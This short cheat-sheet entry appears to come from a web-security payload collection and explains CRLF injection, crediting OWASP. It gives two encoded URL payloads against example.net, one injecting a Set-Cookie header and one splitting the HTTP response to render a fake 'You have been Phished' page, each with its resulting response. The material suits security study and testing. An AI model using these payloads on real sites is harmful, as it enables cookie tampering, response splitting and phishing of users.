# CRLF The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line. A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL. ## CRLF - Add a cookie Requested page ``` http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue ``` HTTP Response ``` Connection: keep-alive Content-Length: 178 Content-Type: text/html Date: Mon, 09 May 2016 14:47:29 GMT Location: https://www.example.net/ Set-Cookie: mycookie=myvalue X-Frame-Options: SAMEORIGIN X-Sucuri-ID: 15016 x-content-type-options: nosniff x-xss-protection: 1; mode=block ``` ## CRLF - Write HTML Requested page ``` http://www.example.net/index.php?lang=en%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E ``` HTTP response ``` Set-Cookie:en Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT Content-Length: 34 You have been Phished``` ## Thanks to * https://www.owasp.org/index.php/CRLF_Injection
